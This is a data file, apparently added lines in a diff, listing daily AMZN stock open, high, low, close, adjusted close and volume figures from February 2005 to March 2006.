+2005-02-24,33.65999984741211,34.849998474121094,33.65999984741211,34.689998626708984,34.689998626708984,8389200,AMZN
+2005-02-25,34.720001220703125,35.22999954223633,34.47999954223633,34.9900016784668,34.9900016784668,5882300,AMZN
+2005-02-28,34.720001220703125,35.65999984741211,34.66999816894531,35.18000030517578,35.18000030517578,8422900,AMZN
+2005-03-01,35.060001373291016,35.40999984741211,34.81999969482422,35.38999938964844,35.38999938964844,5819000,AMZN
+2005-03-02,35.38999938964844,35.93000030517578,35.06999969482422,35.5,35.5,4871700,AMZN
+2005-03-03,35.5,35.959999084472656,35.400001525878906,35.650001525878906,35.650001525878906,5025600,AMZN
+2005-03-04,35.84000015258789,36.310001373291016,35.70000076293945,35.849998474121094,35.849998474121094,5545700,AMZN
+2005-03-07,35.939998626708984,36.400001525878906,35.810001373291016,36.31999969482422,36.31999969482422,3585900,AMZN
+2005-03-08,36.310001373291016,36.43000030517578,35.75,35.83000183105469,35.83000183105469,4792900,AMZN
+2005-03-09,35.7400016784668,35.93000030517578,34.900001525878906,35.400001525878906,35.400001525878906,7412300,AMZN
+2005-03-10,35.310001373291016,35.709999084472656,34.56999969482422,34.90999984741211,34.90999984741211,5872300,AMZN
+2005-03-11,34.810001373291016,34.869998931884766,34.04999923706055,34.75,34.75,8010300,AMZN
+2005-03-14,34.66999816894531,34.75,34.0,34.599998474121094,34.599998474121094,5433500,AMZN
+2005-03-15,34.58000183105469,34.849998474121094,33.900001525878906,34.18000030517578,34.18000030517578,5070600,AMZN
+2005-03-16,33.880001068115234,34.439998626708984,33.599998474121094,33.869998931884766,33.869998931884766,5370000,AMZN
+2005-03-17,33.58000183105469,34.439998626708984,33.58000183105469,33.970001220703125,33.970001220703125,4858000,AMZN
+2005-03-18,34.150001525878906,34.279998779296875,33.650001525878906,34.15999984741211,34.15999984741211,5294700,AMZN
+2005-03-21,34.209999084472656,34.630001068115234,33.540000915527344,33.66999816894531,33.66999816894531,6084400,AMZN
+2005-03-22,33.70000076293945,33.939998626708984,33.06999969482422,33.150001525878906,33.150001525878906,5490700,AMZN
+2005-03-23,33.09000015258789,33.84000015258789,32.81999969482422,33.18000030517578,33.18000030517578,6323700,AMZN
+2005-03-24,33.400001525878906,33.880001068115234,32.869998931884766,32.880001068115234,32.880001068115234,5337300,AMZN
+2005-03-28,33.099998474121094,33.650001525878906,33.02000045776367,33.38999938964844,33.38999938964844,4326600,AMZN
+2005-03-29,33.279998779296875,34.150001525878906,33.22999954223633,33.43000030517578,33.43000030517578,6137300,AMZN
+2005-03-30,33.59000015258789,34.52000045776367,33.5099983215332,34.31999969482422,34.31999969482422,5349800,AMZN
+2005-03-31,34.4900016784668,34.54999923706055,34.0,34.27000045776367,34.27000045776367,3554300,AMZN
+2005-04-01,34.630001068115234,34.709999084472656,33.779998779296875,34.0099983215332,34.0099983215332,5018400,AMZN
+2005-04-04,34.0,35.18000030517578,33.810001373291016,35.0,35.0,7342200,AMZN
+2005-04-05,35.22999954223633,35.34000015258789,34.9900016784668,35.279998779296875,35.279998779296875,4933000,AMZN
+2005-04-06,35.099998474121094,35.20000076293945,34.619998931884766,34.81999969482422,34.81999969482422,5276100,AMZN
+2005-04-07,34.68000030517578,34.91999816894531,34.5,34.900001525878906,34.900001525878906,3807300,AMZN
+2005-04-08,34.75,34.93000030517578,34.56999969482422,34.599998474121094,34.599998474121094,3013000,AMZN
+2005-04-11,34.599998474121094,35.0,34.36000061035156,34.599998474121094,34.599998474121094,3253100,AMZN
+2005-04-12,34.400001525878906,34.63999938964844,33.65999984741211,34.630001068115234,34.630001068115234,6197200,AMZN
+2005-04-13,34.349998474121094,34.709999084472656,34.150001525878906,34.29999923706055,34.29999923706055,4125100,AMZN
+2005-04-14,34.2599983215332,34.5,33.880001068115234,33.970001220703125,33.970001220703125,4178400,AMZN
+2005-04-15,33.959999084472656,34.0,33.02000045776367,33.02000045776367,33.02000045776367,5985000,AMZN
+2005-04-18,32.900001525878906,33.58000183105469,32.84000015258789,33.0,33.0,6917000,AMZN
+2005-04-19,33.18000030517578,33.369998931884766,32.0099983215332,32.779998779296875,32.779998779296875,6619400,AMZN
+2005-04-20,33.099998474121094,33.7599983215332,32.900001525878906,33.25,33.25,9215500,AMZN
+2005-04-21,33.5,33.88999938964844,32.88999938964844,33.72999954223633,33.72999954223633,7694700,AMZN
+2005-04-22,33.4900016784668,33.630001068115234,32.90999984741211,33.040000915527344,33.040000915527344,6392000,AMZN
+2005-04-25,33.130001068115234,33.59000015258789,33.04999923706055,33.529998779296875,33.529998779296875,4245400,AMZN
+2005-04-26,33.43000030517578,33.97999954223633,32.58000183105469,32.709999084472656,32.709999084472656,13969300,AMZN
+2005-04-27,30.84000015258789,31.739999771118164,30.600000381469727,31.719999313354492,31.719999313354492,29312900,AMZN
+2005-04-28,31.65999984741211,32.91999816894531,31.6299991607666,32.52000045776367,32.52000045776367,14472800,AMZN
+2005-04-29,32.86000061035156,32.88999938964844,31.520000457763672,32.36000061035156,32.36000061035156,10523500,AMZN
+2005-05-02,32.29999923706055,33.279998779296875,32.099998474121094,33.099998474121094,33.099998474121094,9098000,AMZN
+2005-05-03,32.939998626708984,33.560001373291016,32.88999938964844,33.209999084472656,33.209999084472656,6777900,AMZN
+2005-05-04,33.349998474121094,34.119998931884766,33.27000045776367,33.959999084472656,33.959999084472656,7756600,AMZN
+2005-05-05,33.959999084472656,34.18000030517578,33.59000015258789,33.959999084472656,33.959999084472656,4616900,AMZN
+2005-05-06,34.2400016784668,34.689998626708984,34.13999938964844,34.52000045776367,34.52000045776367,6713500,AMZN
+2005-05-09,34.400001525878906,34.79999923706055,34.25,34.63999938964844,34.63999938964844,4431600,AMZN
+2005-05-10,34.400001525878906,34.470001220703125,34.02000045776367,34.22999954223633,34.22999954223633,5475000,AMZN
+2005-05-11,34.29999923706055,34.5099983215332,33.650001525878906,33.81999969482422,33.81999969482422,6048000,AMZN
+2005-05-12,33.70000076293945,34.119998931884766,33.54999923706055,33.849998474121094,33.849998474121094,6005000,AMZN
+2005-05-13,33.9900016784668,34.349998474121094,33.79999923706055,33.900001525878906,33.900001525878906,3991800,AMZN
+2005-05-16,34.029998779296875,34.77000045776367,33.91999816894531,34.540000915527344,34.540000915527344,4280700,AMZN
+2005-05-17,34.45000076293945,34.81999969482422,34.09000015258789,34.72999954223633,34.72999954223633,3315700,AMZN
+2005-05-18,34.810001373291016,35.970001220703125,34.72999954223633,35.33000183105469,35.33000183105469,9557500,AMZN
+2005-05-19,35.369998931884766,35.90999984741211,35.33000183105469,35.59000015258789,35.59000015258789,5343500,AMZN
+2005-05-20,35.45000076293945,35.599998474121094,34.959999084472656,35.5,35.5,5042800,AMZN
+2005-05-23,35.56999969482422,36.02000045776367,35.38999938964844,35.68000030517578,35.68000030517578,5701400,AMZN
+2005-05-24,35.47999954223633,35.56999969482422,35.130001068115234,35.540000915527344,35.540000915527344,5914600,AMZN
+2005-05-25,35.27000045776367,35.45000076293945,35.189998626708984,35.25,35.25,3872900,AMZN
+2005-05-26,35.279998779296875,35.68000030517578,35.16999816894531,35.45000076293945,35.45000076293945,4787100,AMZN
+2005-05-27,35.220001220703125,35.54999923706055,35.150001525878906,35.5,35.5,3287100,AMZN
+2005-05-31,35.36000061035156,36.040000915527344,35.290000915527344,35.5099983215332,35.5099983215332,4930200,AMZN
+2005-06-01,35.56999969482422,36.9900016784668,35.439998626708984,36.5,36.5,10320200,AMZN
+2005-06-02,36.33000183105469,36.90999984741211,36.209999084472656,36.40999984741211,36.40999984741211,4768300,AMZN
+2005-06-03,36.459999084472656,36.5,35.31999969482422,35.59000015258789,35.59000015258789,4835900,AMZN
+2005-06-06,35.540000915527344,36.02000045776367,35.47999954223633,35.77000045776367,35.77000045776367,3881500,AMZN
+2005-06-07,35.90999984741211,36.20000076293945,35.290000915527344,35.349998474121094,35.349998474121094,4884800,AMZN
+2005-06-08,35.400001525878906,35.47999954223633,34.79999923706055,34.83000183105469,34.83000183105469,5314100,AMZN
+2005-06-09,34.93000030517578,35.279998779296875,34.400001525878906,35.20000076293945,35.20000076293945,3872500,AMZN
+2005-06-10,35.25,35.290000915527344,34.470001220703125,34.95000076293945,34.95000076293945,3467500,AMZN
+2005-06-13,34.66999816894531,35.40999984741211,34.650001525878906,34.869998931884766,34.869998931884766,3912000,AMZN
+2005-06-14,34.81999969482422,35.16999816894531,34.790000915527344,35.040000915527344,35.040000915527344,3634400,AMZN
+2005-06-15,35.34000015258789,35.40999984741211,34.52000045776367,35.2400016784668,35.2400016784668,5151800,AMZN
+2005-06-16,35.20000076293945,35.810001373291016,35.15999984741211,35.58000183105469,35.58000183105469,4205500,AMZN
+2005-06-17,35.88999938964844,36.06999969482422,35.15999984741211,35.310001373291016,35.310001373291016,4826100,AMZN
+2005-06-20,35.04999923706055,35.970001220703125,35.040000915527344,35.689998626708984,35.689998626708984,5097300,AMZN
+2005-06-21,35.599998474121094,35.810001373291016,35.279998779296875,35.380001068115234,35.380001068115234,4457100,AMZN
+2005-06-22,35.5,35.849998474121094,35.13999938964844,35.220001220703125,35.220001220703125,2507300,AMZN
+2005-06-23,35.13999938964844,35.560001373291016,35.099998474121094,35.43000030517578,35.43000030517578,5302200,AMZN
+2005-06-24,35.29999923706055,35.439998626708984,34.880001068115234,35.02000045776367,35.02000045776367,3675500,AMZN
+2005-06-27,34.90999984741211,35.04999923706055,34.16999816894531,34.5,34.5,4556300,AMZN
+2005-06-28,34.599998474121094,34.630001068115234,33.59000015258789,33.709999084472656,33.709999084472656,7034300,AMZN
+2005-06-29,33.70000076293945,34.06999969482422,33.27000045776367,33.349998474121094,33.349998474121094,4813300,AMZN
+2005-06-30,33.470001220703125,33.560001373291016,32.93000030517578,33.09000015258789,33.09000015258789,5715700,AMZN
+2005-07-01,33.2400016784668,33.27000045776367,32.790000915527344,32.90999984741211,32.90999984741211,2932700,AMZN
+2005-07-05,33.5,34.47999954223633,33.45000076293945,34.08000183105469,34.08000183105469,7383800,AMZN
+2005-07-06,34.0099983215332,34.400001525878906,33.86000061035156,34.060001373291016,34.060001373291016,4397200,AMZN
+2005-07-07,33.79999923706055,34.5099983215332,33.79999923706055,33.959999084472656,33.959999084472656,4242900,AMZN
+2005-07-08,34.11000061035156,34.75,33.849998474121094,34.7400016784668,34.7400016784668,4257000,AMZN
+2005-07-11,34.720001220703125,35.68000030517578,34.599998474121094,35.59000015258789,35.59000015258789,5166000,AMZN
+2005-07-12,35.4900016784668,36.540000915527344,35.459999084472656,36.310001373291016,36.310001373291016,5877200,AMZN
+2005-07-13,36.27000045776367,36.54999923706055,36.189998626708984,36.5099983215332,36.5099983215332,3201800,AMZN
+2005-07-14,37.189998626708984,37.41999816894531,36.880001068115234,37.189998626708984,37.189998626708984,5863300,AMZN
+2005-07-15,37.349998474121094,37.5,36.75,37.150001525878906,37.150001525878906,5209000,AMZN
+2005-07-18,36.95000076293945,37.189998626708984,36.7599983215332,37.189998626708984,37.189998626708984,2973300,AMZN
+2005-07-19,37.380001068115234,38.16999816894531,36.689998626708984,38.16999816894531,38.16999816894531,5840600,AMZN
+2005-07-20,37.4900016784668,38.25,37.29999923706055,38.16999816894531,38.16999816894531,6368400,AMZN
+2005-07-21,38.959999084472656,39.75,37.7599983215332,37.95000076293945,37.95000076293945,11055600,AMZN
+2005-07-22,37.88999938964844,38.22999954223633,37.2400016784668,37.95000076293945,37.95000076293945,5871100,AMZN
+2005-07-25,38.0,39.040000915527344,37.849998474121094,37.95000076293945,37.95000076293945,5470000,AMZN
+2005-07-26,38.220001220703125,38.75,37.720001220703125,37.7400016784668,37.7400016784668,14782300,AMZN
+2005-07-27,42.0099983215332,43.7400016784668,41.84000015258789,43.650001525878906,43.650001525878906,46075600,AMZN
+2005-07-28,43.540000915527344,45.810001373291016,43.369998931884766,45.68000030517578,45.68000030517578,25141500,AMZN
+2005-07-29,45.310001373291016,45.75,44.61000061035156,45.150001525878906,45.150001525878906,10491800,AMZN
+2005-08-01,44.880001068115234,45.189998626708984,44.349998474121094,44.93000030517578,44.93000030517578,7127200,AMZN
+2005-08-02,44.900001525878906,46.970001220703125,44.880001068115234,46.5099983215332,46.5099983215332,10836400,AMZN
+2005-08-03,46.0099983215332,46.18000030517578,45.84000015258789,46.11000061035156,46.11000061035156,4832500,AMZN
+2005-08-04,45.54999923706055,45.77000045776367,45.41999816894531,45.459999084472656,45.459999084472656,4977200,AMZN
+2005-08-05,45.25,45.709999084472656,45.16999816894531,45.27000045776367,45.27000045776367,4951500,AMZN
+2005-08-08,45.31999969482422,45.900001525878906,45.2599983215332,45.65999984741211,45.65999984741211,4454900,AMZN
+2005-08-09,45.7599983215332,46.439998626708984,45.75,45.93000030517578,45.93000030517578,4591200,AMZN
+2005-08-10,45.38999938964844,45.56999969482422,44.59000015258789,44.7599983215332,44.7599983215332,9921200,AMZN
+2005-08-11,44.619998931884766,45.209999084472656,44.5,45.209999084472656,45.209999084472656,5842200,AMZN
+2005-08-12,44.630001068115234,45.720001220703125,44.04999923706055,44.20000076293945,44.20000076293945,6474100,AMZN
+2005-08-15,43.93000030517578,45.349998474121094,43.880001068115234,45.040000915527344,45.040000915527344,5525100,AMZN
+2005-08-16,44.900001525878906,44.939998626708984,44.20000076293945,44.27000045776367,44.27000045776367,3625100,AMZN
+2005-08-17,44.189998626708984,44.43000030517578,44.119998931884766,44.119998931884766,44.119998931884766,3050400,AMZN
+2005-08-18,43.880001068115234,43.900001525878906,43.5099983215332,43.72999954223633,43.72999954223633,3604300,AMZN
+2005-08-19,43.599998474121094,43.77000045776367,43.33000183105469,43.720001220703125,43.720001220703125,3323900,AMZN
+2005-08-22,43.61000061035156,44.27000045776367,42.939998626708984,43.77000045776367,43.77000045776367,5374100,AMZN
+2005-08-23,43.7400016784668,43.970001220703125,43.220001220703125,43.41999816894531,43.41999816894531,3517700,AMZN
+2005-08-24,43.31999969482422,43.31999969482422,42.27000045776367,42.369998931884766,42.369998931884766,5871900,AMZN
+2005-08-25,42.540000915527344,42.79999923706055,42.08000183105469,42.310001373291016,42.310001373291016,3092200,AMZN
+2005-08-26,42.29999923706055,42.630001068115234,42.2599983215332,42.369998931884766,42.369998931884766,2860700,AMZN
+2005-08-29,41.90999984741211,43.0,41.90999984741211,42.790000915527344,42.790000915527344,3653900,AMZN
+2005-08-30,42.38999938964844,42.709999084472656,41.959999084472656,42.4900016784668,42.4900016784668,3874200,AMZN
+2005-08-31,42.439998626708984,42.810001373291016,42.040000915527344,42.70000076293945,42.70000076293945,3369200,AMZN
+2005-09-01,42.52000045776367,42.970001220703125,41.75,41.84000015258789,41.84000015258789,4429000,AMZN
+2005-09-02,42.0,42.04999923706055,41.040000915527344,41.5099983215332,41.5099983215332,4027100,AMZN
+2005-09-06,41.54999923706055,43.650001525878906,41.5099983215332,43.619998931884766,43.619998931884766,7939800,AMZN
+2005-09-07,43.5,44.29999923706055,43.45000076293945,43.72999954223633,43.72999954223633,6141500,AMZN
+2005-09-08,43.45000076293945,43.4900016784668,42.83000183105469,42.959999084472656,42.959999084472656,3884200,AMZN
+2005-09-09,42.9900016784668,43.20000076293945,42.810001373291016,42.95000076293945,42.95000076293945,3288700,AMZN
+2005-09-12,42.720001220703125,44.959999084472656,42.689998626708984,44.5,44.5,8779400,AMZN
+2005-09-13,44.16999816894531,44.380001068115234,43.439998626708984,43.93000030517578,43.93000030517578,4505200,AMZN
+2005-09-14,43.880001068115234,44.72999954223633,42.81999969482422,43.099998474121094,43.099998474121094,6318000,AMZN
+2005-09-15,43.20000076293945,43.59000015258789,42.650001525878906,42.709999084472656,42.709999084472656,4587900,AMZN
+2005-09-16,42.79999923706055,42.91999816894531,42.119998931884766,42.79999923706055,42.79999923706055,4111700,AMZN
+2005-09-19,42.630001068115234,43.43000030517578,42.16999816894531,42.75,42.75,3440300,AMZN
+2005-09-20,42.650001525878906,43.0099983215332,41.77000045776367,41.869998931884766,41.869998931884766,3472000,AMZN
+2005-09-21,41.849998474121094,42.63999938964844,41.25,41.25,41.25,5313800,AMZN
+2005-09-22,41.20000076293945,42.27000045776367,40.5,42.08000183105469,42.08000183105469,5838000,AMZN
+2005-09-23,41.970001220703125,42.619998931884766,41.54999923706055,42.189998626708984,42.189998626708984,3145400,AMZN
+2005-09-26,42.45000076293945,43.41999816894531,42.400001525878906,43.34000015258789,43.34000015258789,5616400,AMZN
+2005-09-27,43.2599983215332,43.72999954223633,42.81999969482422,43.15999984741211,43.15999984741211,4173500,AMZN
+2005-09-28,43.25,43.7400016784668,42.9900016784668,43.369998931884766,43.369998931884766,3239700,AMZN
+2005-09-29,43.380001068115234,44.79999923706055,43.130001068115234,44.790000915527344,44.790000915527344,6392800,AMZN
+2005-09-30,44.650001525878906,45.84000015258789,44.599998474121094,45.29999923706055,45.29999923706055,6056000,AMZN
+2005-10-03,45.33000183105469,46.59000015258789,45.15999984741211,46.0099983215332,46.0099983215332,5829200,AMZN
+2005-10-04,46.0,46.119998931884766,44.5,44.93000030517578,44.93000030517578,6521500,AMZN
+2005-10-05,44.90999984741211,45.290000915527344,43.88999938964844,44.4900016784668,44.4900016784668,6452700,AMZN
+2005-10-06,44.560001373291016,44.810001373291016,43.33000183105469,44.0099983215332,44.0099983215332,6192900,AMZN
+2005-10-07,44.27000045776367,44.61000061035156,43.380001068115234,43.720001220703125,43.720001220703125,3392500,AMZN
+2005-10-10,43.81999969482422,44.380001068115234,43.58000183105469,43.7599983215332,43.7599983215332,3680300,AMZN
+2005-10-11,43.91999816894531,44.31999969482422,43.22999954223633,43.400001525878906,43.400001525878906,5301800,AMZN
+2005-10-12,42.90999984741211,43.68000030517578,42.439998626708984,42.54999923706055,42.54999923706055,5704200,AMZN
+2005-10-13,42.43000030517578,42.97999954223633,41.900001525878906,42.619998931884766,42.619998931884766,3832800,AMZN
+2005-10-14,43.0,43.869998931884766,42.34000015258789,43.790000915527344,43.790000915527344,4577600,AMZN
+2005-10-17,43.630001068115234,45.02000045776367,43.619998931884766,45.02000045776367,45.02000045776367,5225000,AMZN
+2005-10-18,44.91999816894531,45.04999923706055,44.29999923706055,44.650001525878906,44.650001525878906,4457700,AMZN
+2005-10-19,44.540000915527344,45.86000061035156,44.279998779296875,45.86000061035156,45.86000061035156,6528500,AMZN
+2005-10-20,45.900001525878906,46.06999969482422,44.68000030517578,45.0099983215332,45.0099983215332,5929200,AMZN
+2005-10-21,45.66999816894531,46.04999923706055,45.150001525878906,45.95000076293945,45.95000076293945,4624800,AMZN
+2005-10-24,46.119998931884766,46.959999084472656,45.86000061035156,46.93000030517578,46.93000030517578,5475900,AMZN
+2005-10-25,46.880001068115234,47.0,46.040000915527344,46.16999816894531,46.16999816894531,11438700,AMZN
+2005-10-26,41.0,41.099998474121094,39.47999954223633,39.75,39.75,30104700,AMZN
+2005-10-27,39.63999938964844,39.900001525878906,38.86000061035156,39.060001373291016,39.060001373291016,8770300,AMZN
+2005-10-28,39.54999923706055,39.650001525878906,38.720001220703125,38.95000076293945,38.95000076293945,6159200,AMZN
+2005-10-31,39.349998474121094,40.38999938964844,39.119998931884766,39.86000061035156,39.86000061035156,6780600,AMZN
+2005-11-01,39.970001220703125,40.7400016784668,39.650001525878906,40.369998931884766,40.369998931884766,5383000,AMZN
+2005-11-02,40.290000915527344,41.22999954223633,39.79999923706055,40.75,40.75,4861800,AMZN
+2005-11-03,40.88999938964844,42.0,40.849998474121094,41.560001373291016,41.560001373291016,7000000,AMZN
+2005-11-04,41.4900016784668,41.79999923706055,40.90999984741211,41.09000015258789,41.09000015258789,4445400,AMZN
+2005-11-07,41.08000183105469,41.470001220703125,40.54999923706055,41.38999938964844,41.38999938964844,3386100,AMZN
+2005-11-08,41.33000183105469,42.11000061035156,41.029998779296875,41.95000076293945,41.95000076293945,4950800,AMZN
+2005-11-09,41.790000915527344,42.0,41.279998779296875,41.400001525878906,41.400001525878906,3471600,AMZN
+2005-11-10,41.470001220703125,42.45000076293945,40.86000061035156,42.18000030517578,42.18000030517578,5585500,AMZN
+2005-11-11,42.369998931884766,43.040000915527344,42.25,42.68000030517578,42.68000030517578,3982200,AMZN
+2005-11-14,42.52000045776367,43.0,42.34000015258789,42.529998779296875,42.529998779296875,3103100,AMZN
+2005-11-15,45.459999084472656,45.650001525878906,44.43000030517578,44.45000076293945,44.45000076293945,21277900,AMZN
+2005-11-16,44.27000045776367,45.400001525878906,44.2400016784668,45.29999923706055,45.29999923706055,7967000,AMZN
+2005-11-17,45.43000030517578,46.7599983215332,45.36000061035156,46.7400016784668,46.7400016784668,11687600,AMZN
+2005-11-18,46.900001525878906,48.0,46.65999984741211,47.97999954223633,47.97999954223633,59332800,AMZN
+2005-11-21,47.56999969482422,48.310001373291016,47.279998779296875,47.9900016784668,47.9900016784668,17869900,AMZN
+2005-11-22,47.5,49.0099983215332,47.34000015258789,48.849998474121094,48.849998474121094,12990700,AMZN
+2005-11-23,48.77000045776367,48.959999084472656,48.09000015258789,48.2400016784668,48.2400016784668,7483200,AMZN
+2005-11-25,48.04999923706055,48.47999954223633,47.619998931884766,48.060001373291016,48.060001373291016,2695800,AMZN
+2005-11-28,48.150001525878906,49.119998931884766,47.619998931884766,48.349998474121094,48.349998474121094,10670900,AMZN
+2005-11-29,48.310001373291016,49.43000030517578,48.119998931884766,48.54999923706055,48.54999923706055,10384400,AMZN
+2005-11-30,48.47999954223633,48.68000030517578,47.54999923706055,48.459999084472656,48.459999084472656,7925600,AMZN
+2005-12-01,48.880001068115234,49.400001525878906,48.630001068115234,49.0,49.0,7866700,AMZN
+2005-12-02,48.91999816894531,49.529998779296875,48.400001525878906,49.060001373291016,49.060001373291016,6451600,AMZN
+2005-12-05,48.86000061035156,49.349998474121094,48.75,48.83000183105469,48.83000183105469,5250900,AMZN
+2005-12-06,49.060001373291016,49.900001525878906,49.060001373291016,49.2599983215332,49.2599983215332,9581400,AMZN
+2005-12-07,49.310001373291016,49.470001220703125,48.290000915527344,48.83000183105469,48.83000183105469,6796800,AMZN
+2005-12-08,48.83000183105469,49.099998474121094,47.86000061035156,48.349998474121094,48.349998474121094,7144000,AMZN
+2005-12-09,48.650001525878906,49.040000915527344,48.25,48.7400016784668,48.7400016784668,4709000,AMZN
+2005-12-12,49.150001525878906,49.29999923706055,48.63999938964844,49.06999969482422,49.06999969482422,3424300,AMZN
+2005-12-13,48.540000915527344,49.66999816894531,48.47999954223633,49.5,49.5,5812800,AMZN
+2005-12-14,49.20000076293945,49.599998474121094,48.790000915527344,49.40999984741211,49.40999984741211,4965900,AMZN
+2005-12-15,49.5,49.95000076293945,49.04999923706055,49.47999954223633,49.47999954223633,5820500,AMZN
+2005-12-16,49.400001525878906,49.91999816894531,49.209999084472656,49.209999084472656,49.209999084472656,5626500,AMZN
+2005-12-19,48.9900016784668,50.0,48.31999969482422,48.369998931884766,48.369998931884766,8308700,AMZN
+2005-12-20,48.459999084472656,48.599998474121094,47.68000030517578,48.13999938964844,48.13999938964844,5535200,AMZN
+2005-12-21,48.290000915527344,49.060001373291016,47.779998779296875,48.970001220703125,48.970001220703125,7322500,AMZN
+2005-12-22,48.900001525878906,49.279998779296875,48.36000061035156,49.220001220703125,49.220001220703125,4421800,AMZN
+2005-12-23,49.09000015258789,49.38999938964844,48.720001220703125,49.220001220703125,49.220001220703125,3206500,AMZN
+2005-12-27,48.900001525878906,49.099998474121094,48.36000061035156,48.560001373291016,48.560001373291016,5818700,AMZN
+2005-12-28,48.4900016784668,48.54999923706055,47.900001525878906,48.060001373291016,48.060001373291016,4531800,AMZN
+2005-12-29,48.130001068115234,48.459999084472656,47.970001220703125,47.9900016784668,47.9900016784668,3171100,AMZN
+2005-12-30,47.72999954223633,48.20000076293945,47.13999938964844,47.150001525878906,47.150001525878906,5401100,AMZN
+2006-01-03,47.470001220703125,47.849998474121094,46.25,47.58000183105469,47.58000183105469,7582200,AMZN
+2006-01-04,47.4900016784668,47.72999954223633,46.689998626708984,47.25,47.25,7440900,AMZN
+2006-01-05,47.15999984741211,48.20000076293945,47.11000061035156,47.650001525878906,47.650001525878906,5417200,AMZN
+2006-01-06,47.970001220703125,48.58000183105469,47.31999969482422,47.869998931884766,47.869998931884766,6152900,AMZN
+2006-01-09,46.54999923706055,47.099998474121094,46.400001525878906,47.08000183105469,47.08000183105469,8943100,AMZN
+2006-01-10,46.40999984741211,46.75,45.36000061035156,45.650001525878906,45.650001525878906,9686100,AMZN
+2006-01-11,45.650001525878906,45.70000076293945,44.2599983215332,44.93000030517578,44.93000030517578,8497200,AMZN
+2006-01-12,44.790000915527344,45.09000015258789,44.09000015258789,44.36000061035156,44.36000061035156,5818300,AMZN
+2006-01-13,44.470001220703125,44.849998474121094,44.0,44.400001525878906,44.400001525878906,4432200,AMZN
+2006-01-17,43.95000076293945,44.31999969482422,43.65999984741211,44.0,44.0,5631000,AMZN
+2006-01-18,43.189998626708984,44.59000015258789,43.099998474121094,44.31999969482422,44.31999969482422,8743300,AMZN
+2006-01-19,44.4900016784668,45.2400016784668,44.29999923706055,44.45000076293945,44.45000076293945,5156900,AMZN
+2006-01-20,44.22999954223633,44.36000061035156,43.20000076293945,43.91999816894531,43.91999816894531,8307400,AMZN
+2006-01-23,44.18000030517578,44.75,43.5,43.72999954223633,43.72999954223633,5752800,AMZN
+2006-01-24,43.65999984741211,44.43000030517578,43.41999816894531,44.02000045776367,44.02000045776367,4342400,AMZN
+2006-01-25,44.04999923706055,44.470001220703125,43.34000015258789,43.599998474121094,43.599998474121094,4287100,AMZN
+2006-01-26,43.95000076293945,44.779998779296875,43.790000915527344,44.68000030517578,44.68000030517578,4889500,AMZN
+2006-01-27,44.54999923706055,45.220001220703125,44.529998779296875,45.220001220703125,45.220001220703125,4174000,AMZN
+2006-01-30,45.40999984741211,45.970001220703125,44.7400016784668,44.959999084472656,44.959999084472656,4099800,AMZN
+2006-01-31,44.7599983215332,45.209999084472656,44.25,44.81999969482422,44.81999969482422,4056000,AMZN
+2006-02-01,43.91999816894531,44.689998626708984,43.5,43.97999954223633,43.97999954223633,7501400,AMZN
+2006-02-02,43.84000015258789,44.040000915527344,39.79999923706055,42.7400016784668,42.7400016784668,23709300,AMZN
+2006-02-03,37.70000076293945,38.5,37.369998931884766,38.33000183105469,38.33000183105469,33531300,AMZN
+2006-02-06,38.34000015258789,38.34000015258789,37.77000045776367,37.95000076293945,37.95000076293945,8503200,AMZN
+2006-02-07,38.09000015258789,38.20000076293945,37.20000076293945,37.52000045776367,37.52000045776367,7403600,AMZN
+2006-02-08,37.70000076293945,38.38999938964844,37.11000061035156,38.16999816894531,38.16999816894531,7543700,AMZN
+2006-02-09,38.61000061035156,39.0,37.93000030517578,37.9900016784668,37.9900016784668,6932800,AMZN
+2006-02-10,37.97999954223633,38.52000045776367,37.369998931884766,38.52000045776367,38.52000045776367,5011800,AMZN
+2006-02-13,38.25,38.41999816894531,37.529998779296875,37.86000061035156,37.86000061035156,4750400,AMZN
+2006-02-14,38.040000915527344,38.4900016784668,37.380001068115234,38.25,38.25,4514200,AMZN
+2006-02-15,38.2400016784668,39.279998779296875,38.099998474121094,39.2599983215332,39.2599983215332,6902700,AMZN
+2006-02-16,39.369998931884766,40.0,38.83000183105469,39.150001525878906,39.150001525878906,5638000,AMZN
+2006-02-17,38.93000030517578,39.380001068115234,38.90999984741211,39.189998626708984,39.189998626708984,4581800,AMZN
+2006-02-21,39.0099983215332,39.11000061035156,38.2599983215332,38.290000915527344,38.290000915527344,5056100,AMZN
+2006-02-22,38.310001373291016,39.099998474121094,37.709999084472656,38.720001220703125,38.720001220703125,7356900,AMZN
+2006-02-23,38.619998931884766,38.75,37.869998931884766,37.900001525878906,37.900001525878906,9287500,AMZN
+2006-02-24,38.25,38.40999984741211,37.86000061035156,38.349998474121094,38.349998474121094,3720000,AMZN
+2006-02-27,38.400001525878906,38.779998779296875,37.93000030517578,38.0099983215332,38.0099983215332,4449100,AMZN
+2006-02-28,37.790000915527344,38.09000015258789,37.04999923706055,37.439998626708984,37.439998626708984,9150900,AMZN
+2006-03-01,37.45000076293945,37.689998626708984,36.849998474121094,37.119998931884766,37.119998931884766,6981500,AMZN
+2006-03-02,35.63999938964844,37.0,35.369998931884766,36.880001068115234,36.880001068115234,11583700,AMZN
+2006-03-03,36.88999938964844,37.83000183105469,36.66999816894531,37.209999084472656,37.209999084472656,6044900,AMZN
+2006-03-06,37.31999969482422,37.58000183105469,36.77000045776367,36.86000061035156,36.86000061035156,4258300,AMZN
+2006-03-07,36.709999084472656,37.41999816894531,36.70000076293945,36.93000030517578,36.93000030517578,4722300,AMZN
+2006-03-08,36.720001220703125,37.470001220703125,36.61000061035156,36.810001373291016,36.810001373291016,6236600,AMZN
+2006-03-09,36.79999923706055,36.959999084472656,35.900001525878906,36.119998931884766,36.119998931884766,7200100,AMZN
+2006-03-10,36.2400016784668,36.5,35.7400016784668,36.220001220703125,36.220001220703125,4972700,AMZN
+2006-03-13,36.310001373291016,36.630001068115234,35.970001220703125,36.189998626708984,36.189998626708984,3278100,AMZN
+2006-03-14,36.040000915527344,37.0,36.0099983215332,36.90999984741211,36.90999984741211,4185200,AMZN
+2006-03-15,36.95000076293945,37.0,36.43000030517578,36.88999938964844,36.88999938964844,2801500,AMZN
+2006-03-16,37.08000183105469,37.38999938964844,36.7400016784668,36.77000045776367,36.77000045776367,4822800,AMZN
+2006-03-17,36.880001068115234,36.97999954223633,35.849998474121094,35.9900016784668,35.9900016784668,6886200,AMZN
+2006-03-20,35.91999816894531,37.27000045776367,35.79999923706055,36.22999954223633,36.22999954223633,6170800,AMZN
+2006-03-21,35.91999816894531,36.72999954223633,35.65999984741211,35.91999816894531,35.91999816894531,6671600,AMZN
